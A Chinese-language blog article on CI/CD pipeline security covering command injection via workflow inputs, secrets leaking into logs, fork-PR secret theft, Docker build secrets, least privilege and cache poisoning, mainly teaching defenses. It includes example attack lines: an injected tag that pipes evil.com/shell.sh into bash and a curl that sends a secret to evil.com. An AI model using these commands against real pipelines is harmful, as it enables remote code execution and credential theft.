CI/CD 不是自动化,是“自动暴露风险”?聊聊流水线安全那些你踩过却没意识到的坑

简介: CI/CD 不是自动化,是“自动暴露风险”?聊聊流水线安全那些你踩过却没意识到的坑

CI/CD 不是自动化,是“自动暴露风险”?聊聊流水线安全那些你踩过却没意识到的坑


说句扎心的实话:

现在很多团队的 CI/CD,不是提效工具,而是漏洞放大器

你本来只有一个服务能被攻击,
结果一条流水线,把:

  • Git 仓库
  • 构建环境
  • 云账号
  • 生产集群

全都串在了一起。

一旦被打穿——
👉 恭喜,直接“打包送走全家桶”。

今天咱就聊两个最容易被忽视、但最致命的问题:

👉 pipeline injection(流水线注入)
👉 凭证泄露(credential leakage)

我不讲教科书,就讲真实场景 + 怎么防。


一、最隐蔽的攻击:你以为是参数,其实是命令

很多人写 pipeline,习惯这么搞:

steps:
  - name: build
    run: |
      docker build -t myapp:${
   { github.event.inputs.tag }} .

表面上看:

👉 用户传个 tag,很正常

但如果攻击者传的是:

v1.0; curl evil.com/shell.sh | bash

那最终执行变成:

docker build -t myapp:v1.0; curl evil.com/shell.sh | bash .

👉 直接命令注入成功

这就是典型的:

👉 pipeline injection


正确姿势:不要相信任何输入

你要做的是“白名单 + 转义”,而不是“直接拼”。

方法一:严格校验

if [[ ! "$TAG" =~ ^[a-zA-Z0-9._-]+$ ]]; then
  echo "Invalid tag"
  exit 1
fi

方法二:不要用 shell 拼接

改成参数传递:

run: |
  docker build -t "myapp:${TAG}" .

👉 注意双引号,防止分号解析


二、你以为凭证是安全的,其实早就被打印出去了

这是我见过最多的事故类型。

比如:

env:
  AWS_SECRET_ACCESS_KEY: ${
   {
    secrets.AWS_SECRET_ACCESS_KEY }}

steps:
  - run: env

👉 恭喜你:

密钥直接出现在日志里了


更隐蔽一点的:

echo "Deploy with key: $AWS_SECRET_ACCESS_KEY"

👉 CI 日志:

永久保存 + 所有人可见


正确姿势:凭证要“最小暴露”

方法一:用平台内置 masking

比如 GitHub Actions 自动 mask:

echo "::add-mask::$AWS_SECRET_ACCESS_KEY"

方法二:只在需要的步骤注入

steps:
  - name: deploy
    env:
      AWS_SECRET_ACCESS_KEY: ${
   {
    secrets.AWS_SECRET_ACCESS_KEY }}
    run: deploy.sh

👉 不要全局 env


方法三:避免 echo / debug 打印

很多人喜欢:

set -x

👉 这玩意会打印所有命令(包括密钥)

👉 生产环境:

必须禁用


三、最容易被忽视的一点:PR 也能打你

很多团队开了:

👉 fork PR 自动触发 pipeline

这其实是个大坑。

攻击方式:

  1. 提交恶意 PR
  2. 修改 pipeline
  3. 窃取 secrets

真实例子:

- run: curl evil.com?key=$SECRET

只要 CI 在 PR 上跑:

👉 secrets 就被偷走了


正确做法:隔离信任边界

GitHub Actions:

on:
  pull_request:
    types: [opened, synchronize]

jobs:
  build:
    if: github.event.pull_request.head.repo.full_name == github.repository

👉 只允许“同仓库 PR”使用 secrets


四、容器构建阶段:你以为安全,其实已经被埋雷

Dockerfile 也是攻击面。

错误示范:

ARG TOKEN
RUN git clone https://$TOKEN@github.com/private/repo.git

👉 问题:

  • TOKEN 会进入镜像层
  • 可以被 docker history 查到

正确姿势:用 BuildKit secrets

DOCKER_BUILDKIT=1 docker build \
  --secret id=token,src=token.txt .
RUN --mount=type=secret,id=token \
    git clone https://$(cat /run/secrets/token)@github.com/private/repo.git

👉 优势:

  • 不进入镜像层
  • 构建后自动销毁

五、权限控制:别让 CI 拥有“上帝视角”

很多公司默认:

👉 CI 拥有全部权限

比如:

  • 可以删除生产资源
  • 可以访问所有云账号

这就是:

👉 最危险的设计


正确做法:最小权限原则(IAM)

比如 AWS:

{
   
  "Effect": "Allow",
  "Action": [
    "s3:PutObject"
  ],
  "Resource": "arn:aws:s3:::my-bucket/*"
}

👉 CI 只做一件事:

上传文件


六、再说一个很多人没意识到的坑:缓存污染

CI 常用缓存:

- uses: actions/cache@v3

但如果 key 可控:

key: ${
   {
    github.ref }}

👉 攻击者可以:

  • 写入恶意缓存
  • 下次构建被复用

正确姿势:

key: build-${
   {
    hashFiles('**/package-lock.json') }}

👉 缓存绑定内容,而不是输入


七、我自己的一个“踩坑总结”

说点真心话。

我以前也觉得:

👉 “流水线只是自动化,不是安全边界”

后来踩过一次事故:

  • CI 被注入命令
  • 拿到云密钥
  • 直接删资源

那一刻你会明白:

👉 CI/CD 本质是“最高权限入口”

因为它能:

  • 读代码
  • 用密钥
  • 操控生产

它比任何一个服务都“危险”。


八、给你一套实战 Checklist(建议收藏)

上线前,过一遍:

pipeline injection 防护

  • [ ] 所有输入做白名单校验
  • [ ] 不拼接 shell 命令
  • [ ] 使用参数化调用

凭证安全

  • [ ] 不打印 secrets
  • [ ] 不全局 env
  • [ ] 使用 masking
  • [ ] 禁用 set -x

PR 安全

  • [ ] fork PR 不使用 secrets
  • [ ] pipeline 修改需要 review

构建安全

  • [ ] 不在 Dockerfile 写明文 token
  • [ ] 使用 BuildKit secret

权限控制

  • [ ] CI 使用最小权限
  • [ ] 不使用 root / admin

结尾

很多团队天天在做:

👉 安全扫描
👉 漏洞修复

但却忽略了一个最致命的地方:

👉 流水线

你可以有再强的防火墙,
但只要 CI 被打穿——

👉 一切都是“内网操作”。

所以我一直说一句话:

👉 CI/CD 不是效率工具,它是你系统的“总闸门”。

门开着,谁都能进。

目录
相关文章
|
27天前
|
存储 安全 Java
你还在手动传包、靠“共享盘”发版本?Artifact Registry 才是依赖管理的终局答案!
你还在手动传包、靠“共享盘”发版本?Artifact Registry 才是依赖管理的终局答案!
304 16
|
30天前
|
Kubernetes Cloud Native jenkins
别再死磕 Jenkins 了:用 Tekton 搭云原生流水线,才是现在该走的路
别再死磕 Jenkins 了:用 Tekton 搭云原生流水线,才是现在该走的路
188 11
|
27天前
|
消息中间件 Prometheus 监控
你还在“出问题才查日志”?用 Prometheus + Grafana,把大数据平台变成“会说话”的系统!
你还在“出问题才查日志”?用 Prometheus + Grafana,把大数据平台变成“会说话”的系统!
154 9
|
28天前
|
人工智能 机器人 API
阿里云OpenClaw一键部署攻略+免费大模型配置教程
还在为本地部署OpenClaw环境配置头疼?阿里云推出一键部署方案:预装镜像、免写代码、24小时在线。结合百炼平台百万级免费Token,轻松拥有可执行文件处理、浏览器控制等自动化任务的AI助理,开箱即用!
453 10
|
28天前
|
存储 运维 Linux
阿里云99元云服务器:2核2G+3M带宽+40G云盘,新购续费同价,个人开发者轻量级应用优选
阿里云推出的99元经济型e实例云服务器,配2核2G计算资源、3M带宽及40G企业级云盘,因高性价比受个人开发者及小微企业青睐。该实例不仅价格低至99元/年,还承诺“新购续费同价”至2027年3月31日,提供长期成本保障。产品具备企业级数据保护、灵活配置及全面生态融合等特点。
|
30天前
|
存储 安全 固态存储
2026阿里云服务器价格表:最新收费标准与38元1年、9.9元1个月、99元1年等活动价格参考
阿里云服务器收费标准涵盖实例配置、带宽及云盘三大核心组件,价格随规格、时长动态调整。2026年活动中推出多类优惠:轻量应用服务器2核4G低至9.9元/月、199元/年;经济型e实例2核2G 3M带宽99元/年;九代ECS(如计算型c9i 8核16G)年付低至6.4折。选购时需注意带宽与CPU/内存的匹配、云盘类型选择及实例适用场景。用户还可领取各种优惠券,在活动价基础上进一步减免,实现成本优化。
957 4
|
30天前
|
Kubernetes 监控 安全
别再说“多活一份数据就安全了”:云上灾备的真相,是你根本没想清楚 RTO / RPO
别再说“多活一份数据就安全了”:云上灾备的真相,是你根本没想清楚 RTO / RPO
246 9
|
1月前
|
机器学习/深度学习 人工智能 自然语言处理
别再说“AI听不懂人话”:从0到1手把手搭一个意图识别 + 槽位提取系统
别再说“AI听不懂人话”:从0到1手把手搭一个意图识别 + 槽位提取系统
368 11
|
13天前
|
人工智能 弹性计算 安全
OpenClaw是什么?OpenClaw能做什么?OpenClaw详细介绍及保姆级部署教程
2026年爆火的开源AI智能体OpenClaw(昵称“小龙虾”),是首个本地化、跨平台的“数字员工”,能自主执行邮件处理、代码编写、智能家居控制等任务。60天GitHub星标破34万,获黄仁勋、Karpathy盛赞。本文提供阿里云一键部署教程,零代码快速上手!
615 11
|
18天前
|
弹性计算 5G 云计算
2026年阿里云秒杀活动全攻略:时间、入口、抢购技巧
阿里云2026秒杀活动升级上线!新用户专享轻量服务器38元/年、9.9元/月起,每日10:00/15:00两场抢购。含实名认证要求、抢购技巧及68元/年起备选方案,助你低成本高效上云!
261 18

热门文章

最新文章

下一篇
开通oss服务